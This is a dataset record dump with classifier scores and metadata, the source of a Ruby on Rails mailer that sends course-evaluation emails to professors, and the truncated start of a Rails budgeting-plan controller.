"probability_weighted_scores": {"content_quality": 0.4357523015776507, "noise_severity": 0.2972555038909447, "missing_content_severity": 0.07693249845678575, "factual_density": 3.1299261333799073, "pretraining_utility": 0.26217261508534057, "math_density": 0.01423941321844546, "code_density": 3.9230251011356474, "reasoning_density": 0.6453359564039971, "education_level": 2.1587835195412275, "creative_writing_quality": -0.4302216505411179}, "score_applicability": {"education_level": 0.99833915051127, "creative_writing_quality": 0.0014354617982828579}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/breunigs/gnt-eval/blob/c24e9935b9a4e50ef7a4d6295c967cfe8873c173/web/app/mailers/postoffice.rb", "id": "ruby-0-91f72006ce35d0af56a32f73664e8e7c", "text": "# encoding: utf-8\n\nDEBUG_MAILTO_ADDRESS = \"SOME_DEBUG_MAIL_ADDRESS\"\n\nclass Postoffice < ActionMailer::Base\n default :from => Seee::Config.settings[:standard_mail_from],\n :reply_to => Seee::Config.settings[:standard_mail_from],\n :bcc => Seee::Config.settings[:standard_mail_bcc]\n\n def ankuendigungsmail(course_id)\n c = Course.find(course_id)\n\n @course = c\n @anrede = prof_address(c)\n @sprache = I18n.t(c.language.to_sym, :raise => true)\n\n headers['X-GNT-Eval-Mail'] = __method__.to_s\n headers['X-GNT-Eval-Id'] = c.id.to_s\n\n to = c.profs.collect{ |p| p.email }\n\n # debug = true ⇒ mail will only be sent to DEBUG_MAILTO_ADDRESS\n debug = true\n\n do_mail(to, debug)\n end\n\n def erinnerungsmail(course_id)\n c = Course.find(course_id)\n\n @course = c\n @anrede = evaluator_address(c)\n\n headers['X-GNT-Eval-Mail'] = __method__.to_s\n headers['X-GNT-Eval-Id'] = c.id.to_s\n\n to = c.fs_contact_addresses_array\n\n # debug = true ⇒ mail will only be sent to DEBUG_MAILTO_ADDRESS\n debug = true\n\n do_mail(to, debug)\n end\n\n # verschickt die eval, will faculty_links ist array mit\n # faculty_links[faculty_id] =\n # 'http://mathphys.fsk.uni-heidelberg.de/~eval/.uieduie/Ich_bin_das_richtige_file.pdf'\n def evalverschickung(course_id, faculty_links)\n @course = c = Course.find(course_id)\n\n raise \"faculty_links does not contain an entry for id=#{c.faculty.id}\" if !faculty_links[c.faculty.id]\n\n headers['X-GNT-Eval-Mail'] = __method__.to_s\n headers['X-GNT-Eval-Id'] = c.id.to_s\n\n @title = c.title\n @anrede = prof_address(c)\n @link = faculty_links[c.faculty.id] + '#nameddest=' + course_id.to_s\n\n to = c.profs.collect{ |p| p.email }\n\n # debug = true ⇒ mail will only be sent to DEBUG_MAILTO_ADDRESS\n debug = true\n\n do_mail(to, debug)\n end\n\n\n def single_evalverschickung(course_id, faculty_links, path = \"\")\n @course = c = Course.find(course_id)\n\n headers['X-GNT-Eval-Mail'] = __method__.to_s\n headers['X-GNT-Eval-Id'] = c.id.to_s\n\n raise \"faculty_links does not contain an entry for id=#{c.faculty.id}\" if !faculty_links[c.faculty.id]\n\n @title = c.title\n @anrede = prof_address(c)\n @link = faculty_links[c.faculty.id]\n\n # guess the correct path\n if path.empty?\n filename = c.dir_friendly_title << '_' << c.term.dir_friendly_title << '.pdf'\n path = File.join(Rails.root, '../tmp/results/singles/', filename)\n end\n\n if not File.exists?(path)\n raise \"There is no file to send for course #{c.title} (#{c.id}). I have had a look here: '#{path}'\"\n end\n\n attachments[File.basename(path)] = File.read(path)\n to = c.profs.collect{ |p| p.email }\n\n # debug = true ⇒ mail will only be sent to DEBUG_MAILTO_ADDRESS\n debug = true\n\n do_mail(to, debug)\n end\n\n private\n def do_mail(to, debug = true)\n I18n.with_locale(@course.language.to_s) do\n subject = I18n.t(\"#{self.class.to_s.downcase}.#{caller[2][/`.*'/][1..-2]}.subject\", :title => @course.title, :date => @course.description, :raise => true)\n\n if debug || to.compact.empty?\n headers['X-GNT-Eval-Debug'] = \"yes\"\n mail(:to => DEBUG_MAILTO_ADDRESS, :cc => [], :bcc => [], :subject => subject)\n else\n mail(:to => to.compact, :subject => subject)\n end\n end\n end\n\n def prof_address(course)\n g = {:female => '', :male => ''}\n course.profs.map { |p|\n \"sehr #{g[p.gender]} #{p.surname.strip}\"\n }.join(', ').capitalize_first\n end\n\n def evaluator_address(course)\n course.evaluator.split(',').map{ |x| 'hallo ' + x.capitalize_first }.join(', ').capitalize_first\n end\nend\n", "text_preview": "# encoding: utf-8 DEBUG_MAILTO_ADDRESS = \"SOME_DEBUG_MAIL_ADDRESS\" class Postoffice < ActionMailer::Base default :from => Seee::Config.settings[:standard_mail_from], :reply_to => Seee::Config.settings[:standard_mail_from], :bcc => Seee::Con", "input_sha256": "ddb5576d9d4b18be6fdd94bff99fe92744469145ca1cd27bce2bd9b9eb16b969", "text_sha256": "91f72006ce35d0af56a32f73664e8e7ce857494b8023efa9cfda52be76b75f16", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16112, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6353174179658961, "noise_severity": 0.08676148334833822, "missing_content_severity": 0.01341878814233425, "factual_density": 3.2355451238438393, "pretraining_utility": 0.19218111045121464, "math_density": 0.002562672059817541, "code_density": 3.862255280661769, "reasoning_density": 0.2967401509039578, "education_level": 2.359185077920099, "creative_writing_quality": -0.3733287227491483}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0008715331603766571, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.996520558193808, "secondary": 0.9895659542297502, "tertiary": 0.9903508037004676, "structured_records": 0.010743146363969638, "procedural_steps": 0.007208808540169883, "worked_solution": 0.0009750837786950373, "contextual_dialogue": 5.60289916501974e-06, "content_quality": 0.4653391263078003, "noise_severity": 0.9276987638763848, "missing_content_severity": 0.9888176765480547, "factual_density": 0.49862816584484304, "pretraining_utility": 0.5331140414227943, "math_density": 0.9978644399501521, "code_density": 0.8852127338848076, "reasoning_density": 0.7527165409133685, "education_level": 0.5669901984435965, "creative_writing_quality": 0.9992467976925652, "primary_topic": 0.9734164156881938, "secondary_topic": 0.8974621140135604}, "probability_margin": {"primary": 0.9945088918372248, "secondary": 0.9846187819512724, "tertiary": 0.9862424625210865, "education_level": 0.3198843359258197, "creative_writing_quality": 0.9990792182878557, "primary_topic": 0.9558732768927589, "secondary_topic": 0.8351333955923771}, "raw_probabilities": {"primary": {"Academic Writing": 2.985981145303087e-05, "Content Listing": 2.3993741886801153e-05, "Creative Writing": 1.702750236352961e-05, "Customer Support Page": 9.506466147197695e-06, "Q&A Forum": 1.1483424329653532e-05, "Discussion Thread": 7.336453595696283e-06, "Comment Section": 1.2395659832074303e-05, "Missing Content": 3.271274806505708e-05, "Knowledge Article": 7.476972718909282e-05, "Legal Notices": 3.6553722648711454e-05, "News Article": 4.264521722900664e-06, "Organizational Announcement": 1.2506761918691948e-05, "Nonfiction Writing": 1.0130535277224686e-05, "Organizational About Page": 1.2456042484338454e-05, "Personal About Page": 1.2543935052424215e-05, "Personal Blog": 8.428762690336328e-06, "Product Page": 7.715921045084961e-06, "Spam / Ads": 1.9151529467713708e-05, "Structured Data": 0.0006247792887345392, "Technical Writing": 0.9966655349357327, "Transcript / Interview": 1.2964469273826348e-05, "Tutorial / How-To Guide": 0.00019139525052357155, "User Reviews": 5.8456900578260685e-06, "Other / Unknown": 0.0021566430985079485}, "secondary": {"Academic Writing": 0.00010639748870138575, "Content Listing": 7.686821941827868e-05, "Creative Writing": 0.00011241180154881185, "Customer Support Page": 5.603888387902356e-05, "Q&A Forum": 3.091693164392693e-05, "Discussion Thread": 2.542095348049113e-05, "Comment Section": 0.0001121522920623259, "Missing Content": 0.00034311220553655535, "Knowledge Article": 0.0006449894726727816, "Legal Notices": 0.00017713688648802399, "News Article": 4.021782051547124e-05, "Organizational Announcement": 5.3145499922275574e-05, "Nonfiction Writing": 4.702923950087463e-05, "Organizational About Page": 5.232013325055753e-05, "Personal About Page": 4.765610846685296e-05, "Personal Blog": 4.351151075748209e-05, "Product Page": 2.7303371133395408e-05, "Spam / Ads": 0.00016245386042236737, "Structured Data": 0.0019307141191896554, "Technical Writing": 0.0053819241855716125, "Transcript / Interview": 5.058121059344377e-05, "Tutorial / How-To Guide": 0.0004554280565561313, "User Reviews": 2.1563611844151624e-05, "NONE": 0.990000706136844}, "tertiary": {"Academic Writing": 8.852139541265863e-05, "Content Listing": 6.812256900141792e-05, "Creative Writing": 0.0001174547950262198, "Customer Support Page": 5.395055416964304e-05, "Q&A Forum": 2.7853098334329854e-05, "Discussion Thread": 2.4908909639992748e-05, "Comment Section": 9.646643560824579e-05, "Missing Content": 0.0005231079751088526, "Knowledge Article": 0.0006498249550732189, "Legal Notices": 0.00022290512828871027, "News Article": 3.99536740973758e-05, "Organizational Announcement": 5.144577048399977e-05, "Nonfiction Writing": 5.9899028534405264e-05, "Organizational About Page": 6.324462768150757e-05, "Personal About Page": 4.116034422594413e-05, "Personal Blog": 4.0074585384315135e-05, "Product Page": 2.74549661183753e-05, "Spam / Ads": 0.00039082994643529193, "Structured Data": 0.0014735511576296739, "Technical Writing": 0.004510391025194955, "Transcript / Interview": 5.347988510959193e-05, "Tutorial / How-To Guide": 0.0006024996857940761, "User Reviews": 2.004594136572844e-05, "NONE": 0.9907528535462814}, "structured_records": {"false": 0.9892568536360303, "true": 0.010743146363969638}, "procedural_steps": {"false": 0.9927911914598301, "true": 0.007208808540169883}, "worked_solution": {"false": 0.999024916221305, "true": 0.0009750837786950373}, "contextual_dialogue": {"false": 0.9999943971008349, "true": 5.60289916501974e-06}, "content_quality": {"-2": 0.011264964545383602, "-1": 0.06742883407683888, "0": 0.33448525344254326, "1": 0.44836571473696646, "2": 0.13845523319826786}, "noise_severity": {"0": 0.922563902462406, "1": 0.07076001871636077, "2": 0.004759672471938767, "3": 0.0011835057090779238, "4": 0.0007329006402165351}, "missing_content_severity": {"0": 0.9906420211247854, "1": 0.006531883210792821, "2": 0.001856676209094258, "3": 0.0007041253079565733, "4": 0.0002652941473707976}, "factual_density": {"0": 0.006990410136454836, "1": 0.01612809141484563, "2": 0.1298231253321188, "3": 0.42846271070156705, "4": 0.4185956624150137}, "pretraining_utility": {"-2": 0.012358399060389219, "-1": 0.15932422179993766, "0": 0.49424146631827015, "1": 0.29192969527087537, "2": 0.04214621755052768}, "math_density": {"0": 0.9983660922880553, "1": 0.0012132547902888643, "2": 0.00012213153860983941, "3": 8.893133987547478e-05, "4": 0.00020959004317064333}, "code_density": {"0": 0.0002671271820718882, "1": 0.0005239049617797156, "2": 0.011055944227127803, "3": 0.11299260727034859, "4": 0.875160416358672}, "reasoning_density": {"0": 0.8020540347128544, "1": 0.1129528982790188, "2": 0.07394348515927242, "3": 0.008298045089023773, "4": 0.0027515367598307003}, "education_level": {"none": 0.0014522456570488593, "0": 0.001850564546414728, "1": 0.01114621245548636, "2": 0.6391584987029971, "3": 0.3192741627771774, "4": 0.027118315860875535}, "creative_writing_quality": {"not_applicable": 0.999372331410471, "-2": 9.290668886880567e-05, "-1": 0.00015521795015779473, "0": 0.0002931131226152326, "1": 6.615704071799085e-05, "2": 2.0273787169362347e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.460468483330457e-05, "Art & Design": 7.966778574990814e-05, "Law & Crime": 8.922730399920845e-05, "Education & Careers": 0.01856558434588897, "Entertainment & Media": 8.150332535221252e-05, "Fashion & Beauty": 7.701431204938814e-05, "Business, Economics & Finance": 0.0007139617483968384, "Food & Dining": 9.608477187254603e-05, "Games & Gaming": 0.00010439740295382101, "Electronics & Hardware": 0.00011725235301906757, "Health, Healthcare & Wellness": 8.238604366091541e-05, "History & Geography": 6.545048876810149e-05, "Home, Pets & Hobbies": 6.642288028719925e-05, "Industry & Production": 6.526994320418973e-05, "Language, Literature & Philosophy": 0.00022163417272491663, "Politics & Government": 0.00010733935369561474, "Religion & Spirituality": 6.822871909176522e-05, "Science, Mathematics & Engineering": 0.00020567490724708107, "Relationships & Community": 0.00013365753689355755, "Software Usage & Applications": 0.0010812671871268157, "Programming & Software Engineering": 0.9744388612386479, "Sports & Fitness": 8.76893256930049e-05, "Vehicles & Transportation": 3.88479785611578e-05, "Travel & Tourism": 9.003348626209268e-05, "Other / Uncovered Subject": 0.002981661666027279, "Unknown / Insufficient Content": 0.00028627703799332163}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004478792388858333, "Art & Design": 0.00039924599330896243, "Law & Crime": 0.0006930980891911998, "Education & Careers": 0.06627248326681555, "Entertainment & Media": 0.0005889979589638455, "Fashion & Beauty": 0.0002639925914127768, "Business, Economics & Finance": 0.002487573877061355, "Food & Dining": 0.00025386369897172805, "Games & Gaming": 0.0003177854158841149, "Electronics & Hardware": 0.0003666464182888452, "Health, Healthcare & Wellness": 0.0003041761585821649, "History & Geography": 0.0002270989744531686, "Home, Pets & Hobbies": 0.00022920833021520824, "Industry & Production": 0.00017004588720859713, "Language, Literature & Philosophy": 0.0011187241601462831, "Politics & Government": 0.0003904993408507936, "Religion & Spirituality": 0.000283598804082723, "Science, Mathematics & Engineering": 0.00044594553228749457, "Relationships & Community": 0.00031678974753879193, "Software Usage & Applications": 0.002139626244410818, "Programming & Software Engineering": 0.015084539286038902, "Sports & Fitness": 0.00023938293741899953, "Vehicles & Transportation": 0.00011100229078602505, "Travel & Tourism": 0.00032045901538100896, "Other / Uncovered Subject": 0.005121457882622224, "NONE": 0.9014058788591927}}, "probabilities": {"primary": {"Academic Writing": 2.985981145303087e-05, "Content Listing": 2.3993741886801153e-05, "Creative Writing": 1.702750236352961e-05, "Customer Support Page": 9.506466147197695e-06, "Q&A Forum": 1.1483424329653532e-05, "Discussion Thread": 7.336453595696283e-06, "Comment Section": 1.2395659832074303e-05, "Missing Content": 3.271274806505708e-05, "Knowledge Article": 7.476972718909282e-05, "Legal Notices": 3.6553722648711454e-05, "News Article": 4.264521722900664e-06, "Organizational Announcement": 1.2506761918691948e-05, "Nonfiction Writing": 1.0130535277224686e-05, "Organizational About Page": 1.2456042484338454e-05, "Personal About Page": 1.2543935052424215e-05, "Personal Blog": 8.428762690336328e-06, "Product Page": 7.715921045084961e-06, "Spam / Ads": 1.9151529467713708e-05, "Structured Data": 0.0006247792887345392, "Technical Writing": 0.9966655349357327, "Transcript / Interview": 1.2964469273826348e-05, "Tutorial / How-To Guide": 0.00019139525052357155, "User Reviews": 5.8456900578260685e-06, "Other / Unknown": 0.0021566430985079485}, "secondary": {"Academic Writing": 0.00010639748870138576, "Content Listing": 7.68682194182787e-05, "Creative Writing": 0.00011241180154881187, "Customer Support Page": 5.603888387902357e-05, "Q&A Forum": 3.0916931643926935e-05, "Discussion Thread": 2.5420953480491133e-05, "Comment Section": 0.00011215229206232591, "Missing Content": 0.0003431122055365554, "Knowledge Article": 0.0006449894726727817, "Legal Notices": 0.000177136886488024, "News Article": 4.0217820515471246e-05, "Organizational Announcement": 5.314549992227558e-05, "Nonfiction Writing": 4.702923950087464e-05, "Organizational About Page": 5.2320133250557534e-05, "Personal About Page": 4.7656108466852964e-05, "Personal Blog": 4.3511510757482096e-05, "Product Page": 2.730337113339541e-05, "Spam / Ads": 0.0001624538604223674, "Structured Data": 0.0019307141191896556, "Technical Writing": 0.005381924185571613, "Transcript / Interview": 5.0581210593443775e-05, "Tutorial / How-To Guide": 0.0004554280565561314, "User Reviews": 2.1563611844151627e-05, "NONE": 0.9900007061368441}, "tertiary": {"Academic Writing": 8.852139541265865e-05, "Content Listing": 6.812256900141793e-05, "Creative Writing": 0.00011745479502621982, "Customer Support Page": 5.3950554169643046e-05, "Q&A Forum": 2.7853098334329858e-05, "Discussion Thread": 2.490890963999275e-05, "Comment Section": 9.64664356082458e-05, "Missing Content": 0.0005231079751088527, "Knowledge Article": 0.000649824955073219, "Legal Notices": 0.0002229051282887103, "News Article": 3.995367409737581e-05, "Organizational Announcement": 5.1445770483999775e-05, "Nonfiction Writing": 5.989902853440527e-05, "Organizational About Page": 6.324462768150758e-05, "Personal About Page": 4.1160344225944135e-05, "Personal Blog": 4.007458538431514e-05, "Product Page": 2.7454966118375305e-05, "Spam / Ads": 0.000390829946435292, "Structured Data": 0.001473551157629674, "Technical Writing": 0.004510391025194956, "Transcript / Interview": 5.3479885109591937e-05, "Tutorial / How-To Guide": 0.0006024996857940762, "User Reviews": 2.0045941365728443e-05, "NONE": 0.9907528535462815}, "structured_records": {"false": 0.9892568536360303, "true": 0.010743146363969638}, "procedural_steps": {"false": 0.9927911914598301, "true": 0.007208808540169883}, "worked_solution": {"false": 0.999024916221305, "true": 0.0009750837786950373}, "contextual_dialogue": {"false": 0.9999943971008349, "true": 5.60289916501974e-06}, "content_quality": {"-2": 0.011264964545383602, "-1": 0.06742883407683888, "0": 0.33448525344254326, "1": 0.44836571473696646, "2": 0.13845523319826786}, "noise_severity": {"0": 0.922563902462406, "1": 0.07076001871636077, "2": 0.004759672471938767, "3": 0.0011835057090779238, "4": 0.0007329006402165351}, "missing_content_severity": {"0": 0.9906420211247855, "1": 0.006531883210792822, "2": 0.0018566762090942582, "3": 0.0007041253079565734, "4": 0.00026529414737079765}, "factual_density": {"0": 0.006990410136454836, "1": 0.01612809141484563, "2": 0.1298231253321188, "3": 0.42846271070156705, "4": 0.4185956624150137}, "pretraining_utility": {"-2": 0.012358399060389219, "-1": 0.15932422179993766, "0": 0.49424146631827015, "1": 0.29192969527087537, "2": 0.04214621755052768}, "math_density": {"0": 0.9983660922880553, "1": 0.0012132547902888643, "2": 0.00012213153860983941, "3": 8.893133987547478e-05, "4": 0.00020959004317064333}, "code_density": {"0": 0.0002671271820718882, "1": 0.0005239049617797156, "2": 0.011055944227127803, "3": 0.11299260727034859, "4": 0.875160416358672}, "reasoning_density": {"0": 0.8020540347128544, "1": 0.1129528982790188, "2": 0.07394348515927242, "3": 0.008298045089023773, "4": 0.0027515367598307003}, "education_level": {"none": 0.0014522456570488593, "0": 0.001850564546414728, "1": 0.01114621245548636, "2": 0.6391584987029971, "3": 0.3192741627771774, "4": 0.027118315860875535}, "creative_writing_quality": {"not_applicable": 0.9993723314104708, "-2": 9.290668886880565e-05, "-1": 0.0001552179501577947, "0": 0.00029311312261523254, "1": 6.615704071799084e-05, "2": 2.0273787169362344e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.4604684833304554e-05, "Art & Design": 7.966778574990813e-05, "Law & Crime": 8.922730399920843e-05, "Education & Careers": 0.018565584345888966, "Entertainment & Media": 8.15033253522125e-05, "Fashion & Beauty": 7.701431204938812e-05, "Business, Economics & Finance": 0.0007139617483968383, "Food & Dining": 9.6084771872546e-05, "Games & Gaming": 0.00010439740295382098, "Electronics & Hardware": 0.00011725235301906755, "Health, Healthcare & Wellness": 8.23860436609154e-05, "History & Geography": 6.545048876810148e-05, "Home, Pets & Hobbies": 6.642288028719924e-05, "Industry & Production": 6.526994320418972e-05, "Language, Literature & Philosophy": 0.00022163417272491658, "Politics & Government": 0.00010733935369561472, "Religion & Spirituality": 6.82287190917652e-05, "Science, Mathematics & Engineering": 0.00020567490724708102, "Relationships & Community": 0.00013365753689355752, "Software Usage & Applications": 0.0010812671871268155, "Programming & Software Engineering": 0.9744388612386476, "Sports & Fitness": 8.768932569300488e-05, "Vehicles & Transportation": 3.8847978561157794e-05, "Travel & Tourism": 9.003348626209267e-05, "Other / Uncovered Subject": 0.002981661666027278, "Unknown / Insufficient Content": 0.0002862770379933216}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004478792388858333, "Art & Design": 0.00039924599330896243, "Law & Crime": 0.0006930980891911998, "Education & Careers": 0.06627248326681555, "Entertainment & Media": 0.0005889979589638455, "Fashion & Beauty": 0.0002639925914127768, "Business, Economics & Finance": 0.002487573877061355, "Food & Dining": 0.00025386369897172805, "Games & Gaming": 0.0003177854158841149, "Electronics & Hardware": 0.0003666464182888452, "Health, Healthcare & Wellness": 0.0003041761585821649, "History & Geography": 0.0002270989744531686, "Home, Pets & Hobbies": 0.00022920833021520824, "Industry & Production": 0.00017004588720859713, "Language, Literature & Philosophy": 0.0011187241601462831, "Politics & Government": 0.0003904993408507936, "Religion & Spirituality": 0.000283598804082723, "Science, Mathematics & Engineering": 0.00044594553228749457, "Relationships & Community": 0.00031678974753879193, "Software Usage & Applications": 0.002139626244410818, "Programming & Software Engineering": 0.015084539286038902, "Sports & Fitness": 0.00023938293741899953, "Vehicles & Transportation": 0.00011100229078602505, "Travel & Tourism": 0.00032045901538100896, "Other / Uncovered Subject": 0.005121457882622224, "NONE": 0.9014058788591927}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9600, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9600, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:18.073873+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "30fc2894-ca75-4798-83d3-3be991573d35", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d72e53728c5dcc88e98798d45027e9b588be1edd57f6598a9a07116ad0494ff7", "source_metadata": {"uuid": "30fc2894-ca75-4798-83d3-3be991573d35", "repo_name": "breunigs/gnt-eval", "relative_path": "web/app/mailers/postoffice.rb", "category": "WEB", "algo_rel_score": 0.8834397196769714, "quality_score": 4.251833438873291, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1707, "repo_created_at": "2012-07-12T20:23:50.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 14, "forks": 1, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "669f9258d74d66304d5f2927e8ccd9989f607add", "size_bytes": 3659, "file_timestamp": 1359025228, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c24e9935b9a4e50ef7a4d6295c967cfe8873c173"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1707, "repo_created_at": "2012-07-12T20:23:50.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 14, "forks": 1, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "669f9258d74d66304d5f2927e8ccd9989f607add", "size_bytes": 3659, "file_timestamp": 1359025228, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c24e9935b9a4e50ef7a4d6295c967cfe8873c173", "url": "https://github.com/breunigs/gnt-eval/blob/c24e9935b9a4e50ef7a4d6295c967cfe8873c173/web/app/mailers/postoffice.rb"}, "gpt4o_tokens": 1053, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6353174179658961, "noise_severity": 0.08676148334833822, "missing_content_severity": 0.01341878814233425, "factual_density": 3.2355451238438393, "pretraining_utility": 0.19218111045121464, "math_density": 0.002562672059817541, "code_density": 3.862255280661769, "reasoning_density": 0.2967401509039578, "education_level": 2.359185077920099, "creative_writing_quality": -0.3733287227491483}, "score_applicability": {"education_level": 0.9985477543429512, "creative_writing_quality": 0.0006276685895291861}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/y-ohara8814/money_counter/blob/a4cf536d755ee34515419909caa4923ba3abf0e3/app/controllers/plans_controller.rb", "id": "ruby-0-dc0af4d841f80ab1c192f9042b3df2fe", "text": "class PlansController < ApplicationController\n require \"date\"\n\n before_action :plan_params, only:[:create,:confirm,:back]\n before_action :user_match_check\n #グループIDに紐づくプランを表示\n def index\n @group = Group.find_by(id: params[:group_id])\n @plan = Plan.find_by(group_id: params[:group_id])\n @plan_all = Plan.where(group_id: params[:group_id])\n\n @usage = Usage.new\n\n #URLのクエリパラメータの有無を確認\n if params[:datetime].present?\n #クエリパラメータがあったら、その年月情報を取得\n query_datetime_int = Date.parse(params[:datetime])\n @param_year = query_datetime_int.year\n @param_month = query_datetime_int.month\n @current_date = Date.new(@param_year, @param_month).end_of_month\n #クエリパラメータの年月と合致する年月のプランがあるかをチェック\n @plan_specific = Plan.where(group_id: params[:group_id], year: @param_year, month: @param_month).first\n #クエリパラメータの年月と合致する年月のプランがあったら、それを@planとしてviewに渡す\n if @plan_specific.present?\n @query_date_match_flag = true\n @plan = @plan_specific\n @next_month = @current_date.next_month\n @prev_month = @current_date.prev_month\n else\n #クエリパラメータの年月と合致する年月のプランがなかったら、「この月のプランは設定されていません」的なページを表示\n @date_match_flag = false\n #クエリパラメータの年月が現在以降だったら、プラン作成ボタン表示用のフラグをたてる\n if @current_date >= Date.today\n @past_date_flag = false\n else\n @past_date_flag = true\n end\n @next_month = @current_date.next_month\n @prev_month = @current_date.prev_month\n end\n\n else\n #URLにクエリパラメータがなかったら現在年月と合致するプランがあるかをチェック\n @current_date = Date.today\n @current_year = @current_date.year\n @current_month = @current_date.month\n @next_month = @current_date.next_month\n @prev_month = @current_date.prev_month\n @plan_specific = Plan.where(group_id: params[:group_id], year: @current_year, month: @current_month).first\n #現在年月と合致する年月のプランがあったら、それを@planとしてviewに返す\n if @plan_specific.present?\n @plan = @plan_specific\n else\n\n #現在年月と合致する年月のプランがなかったら、「この月のプランは設定されていません」的なページを表示\n @date_match_flag = false\n #年月が現在以降だったら、プラン作成ボタン表示用のフラグをたてる\n if @current_date >= Date.today\n @past_date_flag = false\n else\n @past_date_flag = true\n end\n\n end\n\n end\n #月初月末情報取得\n begin_of_month = @current_date.beginning_of_month\n end_of_month = @current_date.end_of_month\n\n #利用履歴表示\n if @plan.present?\n @usages = Usage.where(plan_id: @plan.id).where(\"date >= ?\", begin_of_month).where(\"date <= ?\", end_of_month)\n @usages_disp = Usage.where(plan_id: @plan.id).where(\"date >= ?\", begin_of_month).where(\"date <= ?\", end_of_month).order(date: \"DESC\")\n @spending_money_total = @usages.all.sum(:spending_money)\n @spending_money_each = Usage.joins(:user).select('user.name').where(plan_id: @plan.id).where(\"date >= ?\", begin_of_month).where(\"date <= 